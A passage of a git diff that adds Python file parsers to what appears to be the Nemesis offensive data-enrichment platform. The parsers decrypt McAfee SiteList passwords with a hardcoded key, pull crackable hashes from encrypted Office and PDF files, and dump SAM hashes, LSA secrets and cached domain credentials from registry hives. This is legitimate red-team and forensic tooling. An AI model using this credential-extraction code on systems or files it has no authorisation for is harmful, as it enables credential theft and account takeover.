+ data = sitelist_xor(base64.b64decode(b64data))
+ decode_hex = codecs.getdecoder("hex_codec")
+
+ # hardcoded 3DES key
+ key = SHA.new(b"").digest() + decode_hex(b"00000000")[0] # type: ignore
+
+ try:
+ des3 = DES3.new(key, DES3.MODE_ECB, None)
+ except:
+ des3 = DES3.new(key, DES3.MODE_ECB)
+
+ decrypted = des3.decrypt(bytes(data))
+
+ # quick hack to ignore padding
+ return decrypted[0 : decrypted.find(b"\x00")].decode("utf-8") or ""
+
+
+def process_sitelist_xml(file_path, originating_object_id, metadata) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses a McAfee Sitelist.xml file, extracts all data to a structured
+ format, and decrypts any encrypted passwords.
+
+ Adapted to Python3 from https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py
+ Credit to funoverip
+ No license
+ """
+
+ parsed_data = pb.ParsedData()
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+
+ try:
+ auth_data_msg.metadata.CopyFrom(metadata)
+
+ my_tree = ET.parse(file_path)
+ root = my_tree.getroot()
+
+ for sitelist in list(root):
+ nodes = list(sitelist)
+
+ for node in nodes:
+ try:
+ entry = parsed_data.mcafee_sitelist.entries.add()
+
+ type = node.get("Type")
+ if type:
+ entry.type = type
+
+ name = node.get("Name")
+ if name:
+ entry.name = name
+
+ server = node.get("Server")
+ if server:
+ entry.server = server
+
+ enabled = node.get("Enabled")
+ if enabled:
+ entry.enabled = bool(int(enabled))
+
+ local = node.get("Local")
+ if local:
+ entry.local = bool(int(local))
+
+ for element in list(node):
+ name = element.tag
+ data = element.text
+
+ if data:
+ if name.lower() == "password":
+ if element.get("Encrypted") == "1":
+ entry.password_encrypted = data
+ dec_pass = decrypt_sitelist_password(data)
+ entry.password = dec_pass
+ else:
+ entry.password = data
+
+ # signal that we do have parsed credentials
+ parsed_data.has_parsed_credentials = True
+
+ if re.search("^UserName$", name, re.IGNORECASE):
+ entry.username = data
+ elif re.search("^DomainName$", name, re.IGNORECASE):
+ entry.domain_name = data
+ elif re.search("^ShareName$", name, re.IGNORECASE):
+ entry.share_name = data
+ elif re.search("^RelativePath$", name, re.IGNORECASE):
+ entry.relativepath = data
+ elif re.search("^UseAuth$", name, re.IGNORECASE):
+ entry.useauth = bool(int(data))
+ elif re.search("^UseLoggedonUserAccount$", name, re.IGNORECASE):
+ entry.used_loggedon_user_account = bool(int(data))
+
+ if entry.password and entry.password != "":
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = entry.password
+ if entry.domain_name and entry.domain_name != "":
+ auth_data.uri = f"{entry.username}@{entry.domain_name}"
+ auth_data.username = f"{entry.domain_name}\\{entry.username}"
+ else:
+ auth_data.username = entry.username
+ auth_data.type = "password"
+ auth_data.notes = f"decrypted from file_processor->mcafee_sitelist\nType: {entry.type}\nName: {entry.name}\nServer: {entry.server}\nEnabled: {entry.enabled}\nLocal: {entry.local}"
+ auth_data.originating_object_id = originating_object_id
+
+ except Exception as e:
+ logger.exception(e, message="Error in process_sitelist_xml")
+
+ return (parsed_data, auth_data_msg)
+
+ except Exception as e:
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing McAfee sitelist.xml file {file_path} : {e}"),
+ pb.AuthenticationDataIngestionMessage(),
+ )
+
+
+class mcafee_sitelist(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ regex_string = ".*/SiteList\\.xml$"
+ return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """Returns True if the internal File contents matches our target criteria."""
+ if os.path.getsize(self.file_path) > 1000000:
+ return False
+
+ return helpers.scan_with_yara(self.file_path, "mcafee_sitelist")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ return process_sitelist_xml(self.file_path, self.file_data.object_id, self.metadata)
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/office_doc_new.py b/cmd/enrichment/enrichment/lib/file_parsers/office_doc_new.py
new file mode 100644
index 0000000..cad6c24
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/office_doc_new.py
@@ -0,0 +1,135 @@
+# Standard Libraries
+import datetime
+import re
+import xml.dom.minidom
+import zipfile
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+from enrichment.lib.ext_tools.office2john import extract_file_encryption_hash
+
+
+def get_office_metadata(file_path: str) -> pb.ParsedData:
+ """Gets some basic office metadata.
+
+ Ref - https://github.com/profHajal/Microsoft-Office-Documents-Metadata-with-Python/blob/main/mso_md.py
+ No license
+ """
+
+ parsed_data = pb.ParsedData()
+
+ try:
+ # try to extract the hash for this document, if it's successful we know it was encrypted
+ # I know this is a hack but it's here because the "CDFV2 Encrypted" encrypted .docx/etc. format doesn't play nicely as a ZIP
+ # Note: if the doc is encrypted, we can't get any metadata from it like we could the old OLE office format(s)
+ enc_hash = extract_file_encryption_hash(file_path)
+ if enc_hash and enc_hash.startswith("$o"):
+ parsed_data.is_encrypted = True
+ parsed_data.office_doc_new.is_encrypted = True
+ parsed_data.office_doc_new.encryption_hash = enc_hash
+ except:
+ pass
+
+ if not parsed_data.office_doc_new.is_encrypted:
+ try:
+ myFile = zipfile.ZipFile(file_path, "r")
+ doc = xml.dom.minidom.parseString(myFile.read("docProps/core.xml"))
+ xml.dom.minidom.parseString(myFile.read("docProps/core.xml")).toprettyxml()
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_new.title = doc.getElementsByTagName("dc:title")[0].childNodes[0].data
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_new.subject = doc.getElementsByTagName("dc:subject")[0].childNodes[0].data
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_new.creator = doc.getElementsByTagName("dc:creator")[0].childNodes[0].data
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_new.keywords = doc.getElementsByTagName("cp:keywords")[0].childNodes[0].data
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_new.description = doc.getElementsByTagName("dc:description")[0].childNodes[0].data
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_new.last_modified_by = doc.getElementsByTagName("cp:lastModifiedBy")[0].childNodes[0].data
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_new.revision = int(doc.getElementsByTagName("cp:revision")[0].childNodes[0].data)
+ except:
+ pass
+
+ try:
+ dateString = doc.getElementsByTagName("dcterms:created")[0].childNodes[0].data
+ dt = datetime.datetime.strptime(dateString, "%Y-%m-%dT%H:%M:%Sz")
+ parsed_data.office_doc_new.created.FromDatetime(dt)
+ except:
+ pass
+
+ try:
+ dateString = doc.getElementsByTagName("dcterms:modified")[0].childNodes[0].data
+ dt = datetime.datetime.strptime(dateString, "%Y-%m-%dT%H:%M:%Sz")
+ parsed_data.office_doc_new.modified.FromDatetime(dt)
+ except:
+ pass
+
+ return parsed_data
+
+
+class office_doc_new(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ regex_string = "^.*\\.(docx|pptx|xlsx)$"
+ return re.match(regex_string, self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ # right now only handles .docx, .xlxs, and .pptx (zip formats)
+ # TODO: expand formats
+ return helpers.scan_with_yara(self.file_path, "office_doc_new")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+ parsed_data = get_office_metadata(self.file_path)
+
+ if parsed_data.office_doc_new.HasField("encryption_hash"):
+ auth_data_msg.metadata.CopyFrom(self.metadata)
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = parsed_data.office_doc_new.encryption_hash
+ auth_data.type = "hash_ms_office"
+ auth_data.notes = "hash extracted from file_processor->office_doc_new"
+ auth_data.originating_object_id = self.file_data.object_id
+
+ return (parsed_data, auth_data_msg)
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/office_doc_ole.py b/cmd/enrichment/enrichment/lib/file_parsers/office_doc_ole.py
new file mode 100644
index 0000000..5292718
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/office_doc_ole.py
@@ -0,0 +1,151 @@
+# Standard Libraries
+import re
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import olefile
+import structlog
+from enrichment.lib.ext_tools.office2john import extract_file_encryption_hash
+
+logger = structlog.get_logger(module=__name__)
+
+
+def get_office_ole_metadata(file_path: str) -> pb.ParsedData:
+ """
+ Gets some basic office metadata.
+ """
+
+ parsed_data = pb.ParsedData()
+
+ try:
+ if not olefile.isOleFile(file_path):
+ return helpers.nemesis_parsed_data_error(f"office document {file_path} is not OLE format")
+
+ with olefile.OleFileIO(file_path) as ole:
+ meta = ole.get_metadata()
+
+ try:
+ parsed_data.office_doc_ole.title = meta.title.decode("utf-8")
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.creator = meta.author.decode("utf-8")
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.created = meta.create_time
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.modified = meta.last_saved_time
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.keywords = meta.keywords.decode("utf-8")
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.comments = meta.comments.decode("utf-8")
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.last_modified_by = meta.last_saved_by.decode("utf-8")
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.subject = meta.subject.decode("utf-8")
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.creating_application = meta.creating_application.decode("utf-8")
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.total_edit_time = meta.total_edit_time
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.num_pages = meta.num_pages
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.num_slides = meta.num_slides
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.num_chars = meta.num_chars
+ except:
+ pass
+
+ try:
+ parsed_data.office_doc_ole.is_encrypted = meta.security == 1
+ parsed_data.is_encrypted = parsed_data.office_doc_ole.is_encrypted
+
+ # if the document is encrypted, extract its hash
+ enc_hash = extract_file_encryption_hash(file_path)
+
+ if enc_hash and enc_hash.startswith("$o"):
+ parsed_data.office_doc_ole.encryption_hash = enc_hash
+ except:
+ pass
+
+ except Exception as e:
+ logger.exception(e, message="error parsing office ole file", file_path=file_path)
+ return helpers.nemesis_parsed_data_error(f"error parsing office ole file {file_path} : {e}")
+
+ return parsed_data
+
+
+class office_doc_ole(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ office_regex = "^.*\\.(doc|ppt|xls)$"
+ return re.match(office_regex, self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ return helpers.scan_with_yara(self.file_path, "office_doc_ole")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+ parsed_data = get_office_ole_metadata(self.file_path)
+
+ if parsed_data.office_doc_ole.HasField("encryption_hash"):
+ auth_data_msg.metadata.CopyFrom(self.metadata)
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = parsed_data.office_doc_ole.encryption_hash
+ auth_data.type = "hash_ms_office"
+ auth_data.notes = "hash extracted from file_processor->office_doc_ole"
+ auth_data.originating_object_id = self.file_data.object_id
+
+ return (parsed_data, auth_data_msg)
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/passwd.py b/cmd/enrichment/enrichment/lib/file_parsers/passwd.py
new file mode 100644
index 0000000..2ad2b8c
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/passwd.py
@@ -0,0 +1,77 @@
+# Standard Libraries
+import os
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+
+
+class passwd(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ return self.file_data.path.lower().endswith("/passwd")
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+
+ if os.path.getsize(self.file_path) > 1000000:
+ return False
+
+ if self.file_data.magic_type != "ASCII text":
+ return False
+
+ return helpers.scan_with_yara(self.file_path, "passwd")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ try:
+ parsed_data = pb.ParsedData()
+
+ with open(self.file_path, "r") as f:
+
+ lines = f.readlines()
+
+ for line in lines:
+ if line.startswith("#"):
+ continue
+
+ if line.strip() == "":
+ continue
+
+ fields = line.split(":")
+
+ if len(fields) != 7:
+ continue
+
+ shell = fields[6].strip()
+
+ if shell.endswith("nologin") or shell.endswith("false"):
+ continue
+
+ else:
+ entry = parsed_data.passwd.entries.add()
+ entry.username = fields[0]
+ entry.user_id = fields[2]
+ entry.group_id = fields[3]
+ entry.home_directory = fields[5]
+ entry.shell = shell
+
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
+ return (helpers.nemesis_parsed_data_error(f"error parsing passwd file {self.file_data.object_id} : {e}"), pb.AuthenticationDataIngestionMessage())
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/pdf.py b/cmd/enrichment/enrichment/lib/file_parsers/pdf.py
new file mode 100644
index 0000000..7b38db4
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/pdf.py
@@ -0,0 +1,101 @@
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+from enrichment.lib.ext_tools.pdf2john import PdfParser
+
+# from pypdf import PdfReader
+from pypdf import PdfReader
+
+
+class pdf(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ return self.file_data.path.lower().endswith(".pdf")
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ return "pdf document" in self.file_data.magic_type.lower()
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ parsed_data = pb.ParsedData()
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+
+ try:
+ auth_data_msg.metadata.CopyFrom(self.metadata)
+
+ reader = PdfReader(self.file_path)
+
+ parsed_data.pdf.is_encrypted = reader.is_encrypted
+ parsed_data.is_encrypted = reader.is_encrypted
+
+ if parsed_data.pdf.is_encrypted:
+ # if the doc is encrypted we can't read the metadata
+
+ # our encrypted parser
+ parser = PdfParser(self.file_path)
+
+ try:
+ hash = parser.parse()
+ if hash:
+ parsed_data.pdf.encryption_hash = hash.strip()
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = parsed_data.pdf.encryption_hash
+ auth_data.type = "hash_pdf"
+ auth_data.notes = "hash extracted from file_processor->pdf"
+ auth_data.originating_object_id = self.file_data.object_id
+ except:
+ pass
+
+ return (parsed_data, auth_data_msg)
+
+ else:
+ # if the doc is NOT encrypted we CAN read the metadata
+ meta = reader.metadata
+
+ if not meta:
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ parsed_data.pdf.num_pages = len(reader.pages)
+
+ if meta.title:
+ parsed_data.pdf.title = meta.title
+
+ if meta.author:
+ parsed_data.pdf.author = meta.author
+
+ if meta.subject:
+ parsed_data.pdf.subject = meta.subject
+
+ if meta.creator:
+ parsed_data.pdf.creator = meta.creator
+
+ if meta.producer:
+ parsed_data.pdf.producer = meta.producer
+
+ if meta.creation_date:
+ parsed_data.pdf.created.FromDatetime(meta.creation_date)
+
+ if meta.modification_date:
+ parsed_data.pdf.modified.FromDatetime(meta.modification_date)
+
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
+ return (helpers.nemesis_parsed_data_error(f"error parsing pdf file {self.file_data.object_id} : {e}"), pb.AuthenticationDataIngestionMessage())
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/pe.py b/cmd/enrichment/enrichment/lib/file_parsers/pe.py
new file mode 100644
index 0000000..925d6bd
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/pe.py
@@ -0,0 +1,166 @@
+# Standard Libraries
+import datetime
+import json
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import lief
+import nemesispb.nemesis_pb2 as pb
+import structlog
+
+logger = structlog.get_logger(module=__name__)
+
+
+def format_optional_header(pe, parsed_data):
+ parsed_data.pe.header.major_image_version = pe.optional_header.major_image_version
+ parsed_data.pe.header.major_linker_version = pe.optional_header.major_linker_version
+ parsed_data.pe.header.major_operating_system_version = pe.optional_header.major_operating_system_version
+ parsed_data.pe.header.major_subsystem_version = pe.optional_header.major_subsystem_version
+ parsed_data.pe.header.minor_image_version = pe.optional_header.minor_image_version
+ parsed_data.pe.header.minor_linker_version = pe.optional_header.minor_linker_version
+ parsed_data.pe.header.minor_operating_system_version = pe.optional_header.minor_operating_system_version
+ parsed_data.pe.header.minor_subsystem_version = pe.optional_header.minor_subsystem_version
+ parsed_data.pe.header.time_date_stamp.FromDatetime(datetime.datetime.fromtimestamp(pe.header.time_date_stamps))
+
+
+def format_export(pe, parsed_data):
+ for entry in pe.exported_functions:
+ symbol = parsed_data.pe.exports.symbols.add()
+ symbol.func_name = entry.name
+ symbol.offset = pe.optional_header.imagebase + entry.address
+
+
+def format_import(pe, parsed_data):
+ for imp in pe.imports:
+ dll = parsed_data.pe.imports.dlls.add()
+ dll.name = imp.name
+
+ for entry in imp.entries:
+ if entry.name:
+ func = dll.symbols.add()
+ func.func_name = entry.name
+ func.offset = entry.iat_value
+
+
+def format_signatures(pe, parsed_data):
+ for sig in pe.signatures:
+ signature = parsed_data.pe.signatures.add()
+ signature.version = sig.version
+
+ for signer in sig.signers:
+ signature.signers.extend([signer.issuer])
+
+ signature.verification_flags = sig.check()
+
+
+def format_version_info(pe, parsed_data):
+ if pe.resources:
+ raw = json.loads(lief.to_json(pe.resources_manager.version.string_file_info))
+ version_info_json = raw["langcode_items"][0]["items"]
+
+ if "Assembly Version" in version_info_json:
+ parsed_data.pe.version_info.assembly_version = version_info_json["Assembly Version"]
+ if "Comments" in version_info_json:
+ parsed_data.pe.version_info.comments = version_info_json["Comments"]
+ if "CompanyName" in version_info_json:
+ parsed_data.pe.version_info.company_name = version_info_json["CompanyName"]
+ if "FileDescription" in version_info_json:
+ parsed_data.pe.version_info.file_description = version_info_json["FileDescription"]
+ if "FileVersion" in version_info_json:
+ parsed_data.pe.version_info.file_version = version_info_json["FileVersion"]
+ if "InternalName" in version_info_json:
+ parsed_data.pe.version_info.internal_name = version_info_json["InternalName"]
+ if "LegalCopyright" in version_info_json:
+ parsed_data.pe.version_info.legal_copyright = version_info_json["LegalCopyright"]
+ if "LegalTrademarks" in version_info_json:
+ parsed_data.pe.version_info.legal_trademarks = version_info_json["LegalTrademarks"]
+ if "OriginalFilename" in version_info_json:
+ parsed_data.pe.version_info.original_filename = version_info_json["OriginalFilename"]
+ if "PrivateBuild" in version_info_json:
+ parsed_data.pe.version_info.private_build = version_info_json["PrivateBuild"]
+ if "ProductName" in version_info_json:
+ parsed_data.pe.version_info.product_name = version_info_json["ProductName"]
+ if "ProductVersion" in version_info_json:
+ parsed_data.pe.version_info.product_version = version_info_json["ProductVersion"]
+ if "SpecialBuild" in version_info_json:
+ parsed_data.pe.version_info.special_build = version_info_json["SpecialBuild"]
+
+
+def parse_pe(filename: str) -> pb.ParsedData:
+ """
+ Parses a PE to a formatted protobuf.
+ """
+ try:
+ parsed_data = pb.ParsedData()
+
+ pe = lief.parse(filename)
+
+ try:
+ format_import(pe, parsed_data)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing imports in parse_pe()")
+
+ try:
+ format_optional_header(pe, parsed_data)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing optional headers in parse_pe()")
+
+ try:
+ format_export(pe, parsed_data)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing exports in parse_pe()")
+
+ try:
+ format_version_info(pe, parsed_data)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing version_info in parse_pe()")
+
+ try:
+ format_signatures(pe, parsed_data)
+ except Exception as e:
+ logger.exception(e, message="Exception parsing signatures in parse_pe()")
+
+ return parsed_data
+
+ except Exception as e:
+ logger.exception(e, message="Exception parsing PE file", filename=filename)
+ return helpers.nemesis_parsed_data_error(f"error parsing pe file {filename} : {e}")
+
+
+class pe(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ return helpers.is_pe_extension(self.file_data.path)
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ is_pe = helpers.scan_with_yara(self.file_path, "pe")
+ is_assembly = helpers.is_dotnet_assembly(self.file_path)
+
+ if is_pe:
+ if is_assembly:
+ # return False here so the dotnet_assembly module can take precedence
+ return False
+ else:
+ return True
+ else:
+ return False
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ return (parse_pe(self.file_path), pb.AuthenticationDataIngestionMessage())
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_sam.py b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_sam.py
new file mode 100644
index 0000000..6dd8228
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_sam.py
@@ -0,0 +1,82 @@
+# Standard Libraries
+import ntpath
+import os
+import re
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from enrichment.lib.secretsdump import SAMHashes
+from Registry import Registry
+
+logger = structlog.get_logger(module=__name__)
+
+
+class reg_hive_sam(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ return re.search(".*/sam$", self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ if os.path.getsize(self.file_path) > 300000000:
+ return False
+
+ if helpers.get_magic_type(self.file_path).startswith("MS Windows registry file"):
+ return Registry.Registry(self.file_path).hive_type() == Registry.HiveType.SAM
+ else:
+ return False
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ parsed_data = pb.ParsedData()
+
+ try:
+ sam = SAMHashes(self.file_path)
+
+ F = sam.getValue(ntpath.join(r"SAM\Domains\Account", "F"))[1]
+ parsed_data.reg_hive_sam.f_bytes = F
+
+ for userName, rid, encLMHash, encNTHash, newStyle in sam.dumpEnc():
+ sam_hash = parsed_data.reg_hive_sam.sam_hashes.add()
+ sam_hash.new_style = newStyle
+ sam_hash.username = userName
+ sam_hash.rid = rid
+ sam_hash.lm_hash_enc = encLMHash
+ sam_hash.nt_hash_enc = encNTHash
+ # NOTE: for decryption later:
+ # decLMHash = decryptSAMHash(rid, encLMHash, hashedBootKey, False)
+ # if decLMHash == b'':
+ # decLMHash = ntlm.LMOWFv1('','')
+ # decNTHash = decryptSAMHash(rid, encNTHash, hashedBootKey, True)
+ # if decNTHash == b'':
+ # decNTHash = ntlm.NTOWFv1('','')
+ # lmHasStr = hexlify(decLMHash).decode('utf-8')
+ # ntHashStr = hexlify(decNTHash).decode('utf-8')
+ # answer = f"{userName}:{rid}:{lmHasStr}:{ntHashStr}:::"
+
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
+ logger.exception(e, message="reg_hive_sam.py parse() error", file_uuid=self.file_data.object_id)
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing reg_hive_sam file {self.file_data.object_id} : {e}"),
+ pb.AuthenticationDataIngestionMessage(),
+ )
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_security.py b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_security.py
new file mode 100644
index 0000000..846929e
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_security.py
@@ -0,0 +1,85 @@
+# Standard Libraries
+import json
+import os
+import re
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+from enrichment.lib.secretsdump import LSASecrets
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from Registry import Registry
+
+logger = structlog.get_logger(module=__name__)
+
+
+class reg_hive_security(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ return re.search(".*/security$", self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ if os.path.getsize(self.file_path) > 300000000:
+ return False
+
+ if helpers.get_magic_type(self.file_path).startswith("MS Windows registry file"):
+ return Registry.Registry(self.file_path).hive_type() == Registry.HiveType.SECURITY
+ else:
+ return False
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ parsed_data = pb.ParsedData()
+
+ try:
+ lsa = LSASecrets(self.file_path)
+ (vista_style, lsa_sec_key_enc_bytes) = lsa.getLSASecretKeyEnc()
+ # NOTE: for decryption later:
+ # lsa_sec_key_dec_bytes = decryptLSA(lsa_sec_key_enc_bytes, boot_key, vista_style)
+
+ parsed_data.reg_hive_security.vista_style = vista_style
+ parsed_data.reg_hive_security.lsa_secret_key_enc = lsa_sec_key_enc_bytes
+
+ parsed_data.reg_hive_security.nlkm_secret_enc = lsa.getNLKMSecretEnc()
+ # NOTE: for decryption later:
+ # nlkm_secret_dec = decryptLSASecret(NKLMKeyEnc, lsa_sec_key_dec_bytes, vista_style, True)
+
+ for (secret_name, secret_enc_bytes) in lsa.dumpSecretsEnc():
+ lsa_secret = parsed_data.reg_hive_security.lsa_secrets.add()
+ lsa_secret.name = secret_name
+ lsa_secret.value_enc = secret_enc_bytes
+ # NOTE: for decryption later:
+ # secret_dec_bytes = decryptLSASecret(secret_enc_bytes, lsa_sec_key_dec_bytes, vista_style)
+
+ for (iteration_count, enc_raw_value) in lsa.dumpCachedHashesEnc():
+ cached_entry = parsed_data.reg_hive_security.domain_cached_credentials.add()
+ cached_entry.iteration_count = iteration_count
+ cached_entry.enc_raw_value = enc_raw_value
+ # NOTE: for decryption later:
+ # dec = decryptCachedEntry(enc_value, nlkm_secret_dec, iteration_count, vista_style)
+
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
